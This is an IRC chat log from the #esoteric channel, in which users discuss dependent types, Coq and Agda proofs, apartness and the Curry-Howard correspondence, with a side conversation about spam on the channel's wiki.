1268508914 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Theorem not_not_archimedean : < 1268508919 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : forall r : R, ~ (forall n : nat, (INR n <= r)%R). < 1268508919 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Not not not not not. < 1268508924 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: of course < 1268508929 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :having lambda-expressions diverge is hilarious < 1268509090 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :10:17:56 Sgeo: Leaks memory with cyclic datastructures. < 1268509107 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i don't think lazy-K has cyclic datastructures, but i haven't investigated it < 1268509115 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise did you read it??? < 1268509140 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :because it doesn't have Y as a primitive < 1268509152 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: yrd < 1268509157 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :?? < 1268509157 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*yes < 1268509165 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :now what 'sucks'? < 1268509197 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :although on the other hand _that_ might perhaps cause memory leaks with recursion that an efficient Y wouldn't give < 1268509222 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: non-propositional equality on reals < 1268509224 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ffs < 1268509240 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :the consequence of decidible equality < 1268509260 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :think about classical logic as contained inside constructive.. < 1268509265 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :or perhaps that just causes a lot of duplicate evaluation. < 1268509298 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: what are you trying to say < 1268509319 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is assuming lazy-K isn't so cleverly implemented as to detect essential uses of Y
< 1268509326 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :im just talking :| < 1268509427 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: :-) okay < 1268509443 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you think im stupid!! < 1268509445 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ill show you < 1268509449 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: also i'm beginning to think pattern matching in function heads is overrated in dependent langs... < 1268509457 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh?? < 1268509485 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I don't think you're stupid ffs :) < 1268509486 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and < 1268509487 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :bI don't think a denpendent language needs to support pattern matching < 1268509496 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I mean as a syntactic thing < 1268509498 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but it should be able to add pattern matching < 1268509505 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :because often pattern matching has drastic effects on the structure of the other arguments < 1268509516 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so a possibly-nested case expression makes this much clearer < 1268509529 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and often the analysis is more complex than just does-this-constructor-match < 1268509531 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :well you can try programming with nested cases in Coq < 1268509536 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and function-head matching doesn't really aid that < 1268509555 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :at one point I just gave up an implemented (an ad-hoc bug* ridden version of) dependent pattern matching < 1268509577 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :(* not actually able to produce wrong results.. but sometimes might not produce any result) < 1268509635 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :well i mean i like dependent pattern matching < 1268509646 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but I'm specifically criticising < 1268509649 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :f (X ...) = ... < 1268509651 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :f (Y ...) = ... < 1268509670 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yeah but you know case < 1268509673 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you can't just write < 1268509688 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :f x = case x of X ... -> ... ; Y ... -> ... < 1268509691 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :if it's dependent < 1268509697 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you have to say something about the types < 1268509697 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :hmm. < 1268509702 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I don't see why < 1268509706 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hmm < 1268509717 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :well.................... you do in Coq, is this a fundamental thing though? < 1268509727 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :what do you mean say something about the types btw? < 1268509730 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ISTR augustss writing about it being essential < 1268509733 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :well I blogged about it < 1268509773 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: that Talk: Befunge message you responded to is spam (try googling it) < 1268509780 0 :Phantom_Hoover!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1268509785 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :sheesh < 1268509791 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :he just does that on purpose < 1268509796 0 :augur!~augur@pool-96-231-169-236.washdc.fios.verizon.net JOIN :#esoteric < 1268509834 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: um that Ping timeout thing isn't is server generated? < 1268509849 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :he pulls the plug out 265 seconds before someone talks to him < 1268509994 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I should have a specialisation of id called ff < 1268509994 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so I can have < 1268510002 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :tt : ? < 1268510002 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ff : �? < 1268510006 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :hope that sent right < 1268510010 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :¬??? < 1268510015 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1268510018 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :top/bot < 1268510019 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :that ? must have been a 'T' < 1268510019 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :from tt/ff < 1268510024 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1268510028 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :TT : ~T < 1268510029 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :erm < 1268510031 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oops < 1268510031 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1268510034 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :tt : T < 1268510036 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ff : ~_|_ < 1268510036 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :looks like Omegamega < 1268510042 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm indeed user quit messages are prefaced with Quit: < 1268510072 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(the format changed when they switched ircd) < 1268510088 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :toProp : (b : Bool) -> Sigma (P : Prop) (cond [b => P, not b => ~P]) < 1268510089 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :toProp b := < 1268510100 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : cond [b => T sigma tt, not b => _|_ sigma ff] < 1268510122 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :wondering if i should use case analysis instead of cond < 1268510146 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yeah it looks nicer < 1268510159 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I should have ?: with a nicer name :) < 1268510201 0 :Phantom_Hoover!~chatzilla@cpc4-sgyl29-2-0-cust108.sgyl.cable.virginmedia.com JOIN :#esoteric < 1268510219 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : Phantom_Hoover: that Talk: Befunge message you responded to is spam (try googling it) < 1268510256 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: ^ < 1268510346 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Oh. < 1268510354 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Very weird spam. < 1268510386 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: i don't know why they're doing it, but it's fairly common. look out for messages that have no hint the poster knows what the wiki is about. < 1268510390 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :after a while you get a sense as to what's spam and what isn't < 1268510403 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: does the page need deleting? or is there legit content on it too? < 1268510419 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ais523: i already removed that section, there are lots of legit ones < 1268510428 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1268510472 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i have an excellent spam 'n phish o mometer < 1268510473 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :spam and fish < 1268510475 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I should probably start selling fungot licenses to spammers; it's more entertaining than the usual gibberish I see in my inbox. (Though they might not be going for the entertainment value there.) < 1268510475 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1268510475 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: i was born in a barn?". i assume you'll mostly just want " how did you get my privmsgs? < 1268510491 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Born in a Barn. fungot. The autobiography. < 1268510492 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :alise_: distributive property for example i wrote program as an ast? i believe the right way < 1268510509 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: they have started trying to formulate messages that look like they _could_ be legit, but google shows when they're spammed all over the place < 1268510552 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :s/place/web/ < 1268510631 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ehird < 1268510635 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise < 1268510644 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: that spam is mostly pointless anyway, if they aren't spamming URLs or anything like that < 1268510693 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: I have a feeling I need a real system... < 1268510696 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I keep using "refl" to substitute for any a === :-) < 1268510700 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*a === b < 1268510708 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ais523: yeah i don't understand why they're doing it either. maybe to test our spam response intelligence? < 1268510714 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise I don't understand < 1268510730 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you cant use refl unless a and b are convertible < 1268510735 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: don't understand what, my refl thing? < 1268510737 0 :Phantom_Hoover!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1268510739 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: I heard an explanation that sounds plausible: the bots are trying to spam their URLs in an URL field, and although MediaWiki doesn't have one the bots don't know that < 1268510742 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :well exactly < 1268510749 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :however, in that case I don't see how they'd be getting past the CAPTCHA < 1268510749 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ais523: ah < 1268510752 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :toProp b === T sigma tt? well obviously, it's true! < 1268510765 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :that's extentional equality!!!!! < 1268510770 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :spambots generally need some knowledge of how an individual CAPTCHA works before breaking it < 1268510775 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Proof: refl! < 1268510787 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hrfm < 1268510795 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ais523: does our wiki have a special captcha? < 1268510810 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :no, it's MediaWiki's default captcha < 1268510819 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and a very easily broken one, at that < 1268510821 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i don't recall seeing it < 1268510825 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: so? :P < 1268510831 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oh, wait < 1268510839 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :btw how is apartness defined? < 1268510842 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ais523: which means the spammers probably know all about it since a long time ago < 1268510853 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the CAPTCHA rules are that they come up on attempts to register accounts, and edits by anons that add URLs < 1268510859 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I thought of having as an argument to the constructor a proposition for which P x but not P y < 1268510860 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :thinking about it: this spam isn't actually adding URLs < 1268510865 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :so it doesn't need to go past the CAPTCHA at all < 1268510886 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ais523: heh. also this last spam showed some indication they knew it was a _wiki_, even if not what the wiki was about < 1268510898 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(it talked about creating articles) < 1268510975 0 :mano0o0!~Administr@41.129.28.153 JOIN :#esoteric < 1268510976 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :or maybe that's common terminology for other things than wikis too < 1268510989 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the spam just came up on my feed of all edits to Esolang < 1268510992 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :nothing gets past the admins! < 1268510998 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :just, sometimes other people get there first < 1268511011 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and that particular comment would make sense on a blog, too < 1268511015 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :although it would mean something else < 1268511022 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ais523: oh? what then? < 1268511037 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :an article would have to posted by a blog owner wouldn't it < 1268511043 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*to be < 1268511055 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: it means, can someone find me more articles on this subject? < 1268511096 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm not quite, but i see it could be... < 1268511097 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise, I will show you apartness < 1268511107 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise I should just write this whole chapter into Coq :P < 1268511113 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it sounds like one blogger asking another how they find ideas < 1268511120 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yep < 1268511211 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :x # y if x > y or y > x < 1268511228 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: just look at this pile of shit: http://pastie.org/868241.txt?key=unp3wmm109dzwe6ssnkw < 1268511234 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :properties: x = y /\ x # y -> 0 = 1 < 1268511238 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I just cheated through the whole fucking proof by sprinkling refl everywhere! :-P < 1268511243 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i wonder if the wiki enabled captchas after i joined (2006) < 1268511245 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: so apartness is only defined if you have an ordering? < 1268511248 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I had < 1268511252 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :x = y /\ y # z -> x # z (??? weird one) < 1268511257 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :x # y -> y # z < 1268511259 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :x # y -> y # x *** < 1268511266 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :x # y -> x # z \/ z # y < 1268511314 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :data Apart : {A:Set} -> (x:A) -> (y:A) -> Prop where lfer : {P : A->Prop} -> ((P x /\ ~P y) \/ (P y /\ ~P x)) -> Apart x y < 1268511339 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: it's relatively recent, I had a discussion with Graue about it < 1268511363 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise what's teh point in making that data? < 1268511367 0 :olsner_!unknown@unknown.invalid QUIT :Quit: olsner_ < 1268511368 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :why not just do it as a function definition < 1268511379 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oh wait I completely neglected my obligation in toBool to supply P | ~P < 1268511379 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :that's why the proof was so easy... < 1268511520 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :what data < 1268511524 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and because < 1268511526 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :20:14 < alise_> data Apart : {A:Set} -> (x:A) -> (y:A) -> Prop where lfer : {P : A->Prop} -> ((P x /\ ~P y) \/ (P y /\ ~P x)) -> Apart x y < 1268511528 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :toProp : (b : Bool) ? S (P : Prop) (cond b ? P; else ? �P) < 1268511529 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oh you mean apart < 1268511536 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :because === is defined as data sooo < 1268511543 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :my um / < 1268511543 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :? < 1268511550 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what's the name of like .. a strategyr < 1268511552 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :well here's a definition < 1268511554 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ais523: rings a bell < 1268511557 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :except that it's ad-hoc guidlines < 1268511571 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :rule of thumb < 1268511589 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: heuristic? < 1268511594 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yes! < 1268511613 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :my hooristikc is to define the fewest data possible, but the strongest ones < 1268511614 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :apart : {A:Set} -> A -> A -> Prop < 1268511621 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :like if two data are similar, you can probably abstract it out < 1268511633 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :apart x y = exists {P : A->Prop}. (P x /\ ~P y) \/ (P y /\ ~P x) < 1268511633 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :or something < 1268511636 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :the real reason to define a data type is because you want the strength of its induction principle < 1268511644 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :at least that's my (current) view/understanding < 1268511664 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :fax: it looks really weird whenever anyone uses the word "data" correctly < 1268511665 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :well done < 1268511679 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :http://pastie.org/868253.txt?key=nb3ny4djjrabif9xilvalq honestly toBool.toProp===id should just be "obvious" < 1268511689 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :toBool.toProp===id b := obvious < 1268511740 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :obvious : {P : Prop} -> cond isObvious P -> P; else -> T < 1268511763 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :tautology "P" -> P ? < 1268511806 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :? < 1268511811 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :is " quoting? < 1268511835 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so tautology : (q : Quoted Prop) -> unquote q? < 1268511875 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: so what's the type containing Prop and Set in your opinion? Set_1? < 1268512035 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :�s� : {A : Set1} ? {B : Set1} ? {P : A ? B} ? (x:A) ? P x ? S (x:A). P x < 1268512035 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :scary type. < 1268512040 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :whoa there mirc < 1268512042 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :what are you doing < 1268512063 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :�s� : {A : Set1} ? {B : Set1} ? {P : A ? B} ? (x:A) ? P x ? S (x:A). P x < 1268512063 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :hmm < 1268512084 0 :werdan7!unknown@unknown.invalid QUIT :Ping timeout: 619 seconds < 1268512132 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :well < 1268512162 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :_sigma_ : {A : Set_1} -> {B : Set_1} -> {P : A -> B} -> (x:A) -> P x -> Sigma (x:A). P x < 1268512162 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :anyway < 1268512210 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise in Coq it's Type (Type[1]) < 1268512217 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but I don't really have an opinion on this :P < 1268512229 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so Set : Type, Prop : Type? < 1268512255 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: I kinda hate having separate Sets and Props < 1268512260 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :because you lose so much isomorphism and neatness < 1268512284 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :umf < 1268512288 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I don't knnow what yu mean < 1268512299 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :please, please, PLEASE, when saying you don't know what i mean QUOTE the bit < 1268512301 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :otherwise I can't answer < 1268512305 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :20:30 < alise_> because you lose so much isomorphism and neatness < 1268512319 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :for instance < 1268512332 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :A \/ B = Either A B < 1268512336 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :A /\ B = A * B < 1268512349 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :P \/ ~P then just inspecting left/right to find out which it is < 1268512363 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :forall <-> function < 1268512370 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :exists <-> dependent tuple < 1268512374 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and so on, so forth < 1268512513 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what < 1268512528 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :wait < 1268512537 0 :Phantom_Hoover!~chatzilla@cpc3-sgyl21-0-0-cust116.sgyl.cable.virginmedia.com JOIN :#esoteric < 1268512552 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :proofs are different than types < 1268512559 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :the reason is proof irrelevance < 1268512564 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i know! < 1268512575 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :so why would you want to get rid of proofs?? < 1268512577 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but if you ignore proof irrelevance like agda, everything is so much prettier and curry-howardish :( < 1268512587 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION doesn't find it prettier
< 1268512596 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1268512608 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :agda has combined proof/set... and suffers for it, but the isomorphisms are just so appealing < 1268512608 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :20:31 for instance < 1268512608 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :20:31 A \/ B = Either A B < 1268512608 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :20:31 A /\ B = A * B < 1268512608 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :20:32 P \/ ~P then just inspecting left/right to find out which it is < 1268512609 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :20:32 forall <-> function < 1268512609 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :20:32 exists <-> dependent tuple < 1268512610 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :20:32 and so on, so forth < 1268512614 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :maybe if we used quotients!!!! < 1268512621 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :to make a 'proof' set < 1268512633 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :well it's not prettier per se < 1268512634 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I suppose that's what epigram does < 1268512636 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but the isomorphisms are elegant < 1268512638 0 :werdan7!~w7@freenode/staff/wikimedia.werdan7 JOIN :#esoteric < 1268512642 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :if you don't value isomorphisms - < 1268512643 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what isomorphisms? < 1268512647 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :then why do we persue curry howard? < 1268512647 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :are you talking about curry-howard < 1268512649 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :for FUCK's sake < 1268512650 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :20:31 for instance < 1268512650 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :20:31 A \/ B = Either A B < 1268512650 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :20:31 A /\ B = A * B < 1268512650 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :20:32 P \/ ~P then just inspecting left/right to find out which it is < 1268512650 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :20:32 forall <-> function < 1268512650 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :20:32 exists <-> dependent tuple < 1268512651 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :20:32 and so on, so forth < 1268512662 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :THOSE isomorphisms < 1268512664 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :stop pasting that, I can't see what you are saying inbetween all this pastes < 1268512684 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :maybe the idea is to read the paste < 1268512684 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :instead of asking for its contents < 1268512793 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :those are (among the) appealing isomorphism s < 1268512795 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*isomorphisms < 1268512822 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I don't get it < 1268512883 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :what part do you not get < 1268512919 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :data _/\_ : (A:*) -> (B:*) -> * where both : A -> B -> A /\ B < 1268512923 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :look similar to the definition of a tuple to you? < 1268512932 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::S < 1268512958 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :What, it doesn't? < 1268512963 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :curry-howard is that typed lambda calculus corresponds to natural deduction ? < 1268512977 0 :alise_!unknown@unknown.invalid 